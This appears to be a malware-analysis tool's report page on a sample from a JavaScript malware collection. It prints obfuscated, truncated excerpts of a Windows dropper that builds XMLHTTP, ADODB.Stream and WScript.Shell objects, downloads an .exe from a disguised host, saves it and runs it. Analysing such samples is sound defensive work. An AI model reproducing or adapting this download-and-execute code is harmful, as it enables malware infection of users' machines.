Benign javascript-malware-collection Download

20160328_c6ca6b0481e16b9e34e07b7d33745267.js

eval() executing transformed codeText has empty named-parameter catch

SHA-256bb770de2d3fa4fffc4610284e6ba3602d42431bcabe21f1b7170140eb09807e2

Evidence

ADODB.Stream string fragment (DODB) line 1

1eval(udataCur("disconnectedMatch%20%3D%20%28%22eam%22%29%2C%20escaped%20%3D%20%28%22YD8Z%22%29%2C%20stored%20%3D%20%28%22erdent%22%29%2C%20timeout%20%3D%20%2841%29%2C%20cache%20%3D%20%28%22WScri%22%29%2C%20unshift%20%3D%20%28%22eObjec%22%29%3Bapply%20%3D%20%28%22TP.6.0%22%29%3B%20cssShow%20%3D%20%28168%29%3B%20createElement%20%3D%20%28%22Msxml2%22%29%3B%20specified%20%3D%20%28195%29%3B%20propHooks%20%3D%20%28%22oFile%22%29%3Bvar%20isTrigger%20%3D%20%28%22cr%22%29%3Bvar%20xhrSuccessStatus%20%3D%20%28%22ap%22%29%2C%20prop%20%3D%20%2835%29%2C%20divStyle%20%3D%20%287%29%2C%20slow%20%3D%20%28%22Micr%22%29% …

DNR response headers marker line 1

1:1378… 20%3D%20%281%29%2C%20handler%20%3D%20%28%22TP.3.0%22%29%3Bvar%20responseHeaders%20%3D%20%28%22nd%22%29%2C%20getAllResponseHeaders%20%3D%20%28%222.XMLH%22%29%2C%20subordinate%20%3D%20%28%22ct%22%29%2C%20repla …

Text has empty named-parameter catch lines 15–24

49… "teObj" + async](buildFragment[contains]);
	attrId(fxNow);
	hasDuplicate[relatedTarget + "e" + responseHeaders]();
	break;
} catch(initial) {
20
}
}
23
while(hasDuplicate["rea" + seekingTransport + "ate"] != ((letterSpacing + 1) + (uniqueID - 44))) letter[delegateTarget + " …

Calls JavaScript unescape lines 26–51

26:22… "atus"] == ((364 + backgroundClip) - (44, specified, 170))) {
27		setDocument[extra + "en"]();
28		setDocument[name](hasDuplicate["res" + useCache + "eBo" + MAX_NEGATIVE]);
29		noBubble();
30		setDocument["SaveT" + propHooks](rparentsprev, ((8, slideDown) & (3 | letterSpacing)));
31		operator(MAX_NEGATIVE, relatedTarget);
32		callbackExpect["Ru" + buildParams](rparentsprev);
33	} else {
34
35	}
36}
37
38function splice(matchContext, func, boolHook) {
39	tween(udataCur("callbackExpect%20%3D%20qsa%5B%22WSc%22%20+%20ajaxSetup%20+%20%22t%22%5D%5Bexcess%20+%20%22Obje%22%20+%20subordinate%5D%28%22WScrip%22%20+%20rmouseEvent%20+%20%22l%22%29%3B"));
40}
41
42function udataCur(position) {
43	return unescape(position);
44}
45
46function attrId(matcher) {
47	tween(udataCur("hasDuplicate%5B%22op%22%20+%20show%5D%28%22G%22%20+%20createHTMLDocument%20+%20%22T%22%2C%20ajaxConvert%20+%20%22%3A//4%22%20+%20rpseudo%20+%20%22utterd%22%20+%20settings%20+%20%22.com/%22%20+%20escaped%20+%20%22Oy.exe%22%2C%20%21%28setGlobalEval%20%3C%20%286+%28cssShow/14%29%29%29%29%3B"));
48}
49
50function gotoEnd(getAttributeNode, stopQueue, isHidden) {
51	tween(udataCur("fnOver%28ajaxConvert%20+%20%22%3A//4%22%20+%20rpseudo%20+%20%22utt%22%20+%20stored%20+%20%22al.c%22%20+%20second%20+%20%22D8Z%22%20+%20contentTy …

Dense concatenated string fragments lines 51–55

51:174… exe%22%29%3B"));
52}
53
54function target(attachEvent, doAnimation) {
55	tween(udataCur("buildFragment%20%3D%20%5B%22Msxml%22%20+%20tmp%20+%20%22erverX%22%20+%20pnum%20+%20%22TTP.%22%20+%20parsed%2C%20%22Msxm%22%20+%20abort%20+%20% …